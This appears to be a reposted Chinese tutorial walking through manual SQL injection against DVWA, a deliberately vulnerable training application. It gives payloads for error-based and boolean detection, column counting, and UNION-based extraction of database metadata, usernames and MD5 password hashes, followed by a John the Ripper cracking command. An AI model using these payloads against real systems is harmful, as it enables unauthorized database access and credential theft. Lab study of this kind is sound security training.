sql注入(一)

SELECT * FROM users WHERE user='uname' AND password='pass'
SELECT * FROM users WHERE user='name' AND password=" OR"='
 
检测是否有sql注入
'
1' and '1'='1   --可用于盲注
1' and '1'='2
 
 
基于报错的检测方式

它的sql查询代码是SELECT first_name,srname from users where id=' 这里是需要填入的值 '

表示查询填入userID,查询对应ID的用户名信息,比如填入1

它是有漏洞的

当填入一个单引号时

SELECT first_name,srname from users where id=' ' '

就会形成单数个引号,其中有一个引号没有闭合就会发生报错,提示使用正确的格式

这样我们就知道这里有一个sql注入点,这是基于报错的检测方式

基于布尔的检测方式

当填入1' and '1'='1时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='1 ',和填入1的结果一样

但是填入1' and '1'='2时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='2 ',这句话后面的'1'='2'为假,所以是查询不出结果的

通过输入 1' and '1'='1和1' and '1'='2,得出的两种结果我们就可以简单判断这里有一个sql注入点,这是基于布尔的检测方式

检测有多少个查询字段

填入'order by 5--+,加号其实是空格,空格看起来不清楚所以用加号代替空格,--是sql语法里面注释的意思,排除后面多余的引号影响。

SELECT first_name,srname from users where id=' 'order by 5--+',这其实就是一个检测多少个查询字段的查询语句

如果5过大会报错

就一个个去试试,直到填入2时没有报错

我们就知道有2个查询字段

我们现在知道有两个查询字段,现在查询字段序号对应的名字'union select 1,2--+

SELECT first_name,srname from users where id=''union select 1,2--+'

得出序号1是First name, 序号2是surname

 

查询当前用户,和当前数据库的版本信息,使用到sql语句里面的user(),version()函数

'union select user(),version() --+

然后就得到了user信息,和数据库的信息

使用全局函数
@@datadir,@@hostname,@@VERSION,@@version_compile_os

查询数据库所在位置

'union select user(),@@datadir--+

使用hackbar,加号会自动变成空格

execute提交,可以看到结果和在user ID输入框中输入得到的结果差不多

CONCAT_WS(CHAR(32,58,32))表示用 空格对应ASCII码值32,冒号对应58,所以32,58,32表示空格冒号空格,这句话的意思是使用空格冒号空格对查询的字段进行分割

 

可以使用网站的服务器进行MD5值计算

查询库所有的表

'union select table_name,table_schema from information_schema.tables--+

统计每个库中表的数量

'union select table_schema,count(*) FROM information_Schema.tables group by table_schema --+

表名和表的数量就很清晰地显示出来了

查询dvma库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+

查询user表中所有列的内容(user_id,first_name,user,password,avator)

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

查询user,password列的内容,我们就得到了user信息和password的md5值

改变一下查询的格式,user和password之间用冒号连接

得到这些信息之后就可以进行暴力破解了

把username:passhash信息保存到dvwa.txt中
开始暴力破解
john --format=raw-MD5 dvwa.txt
 

  

 
 
原文地址:https://www.cnblogs.com/zylq-blog/p/6717675.html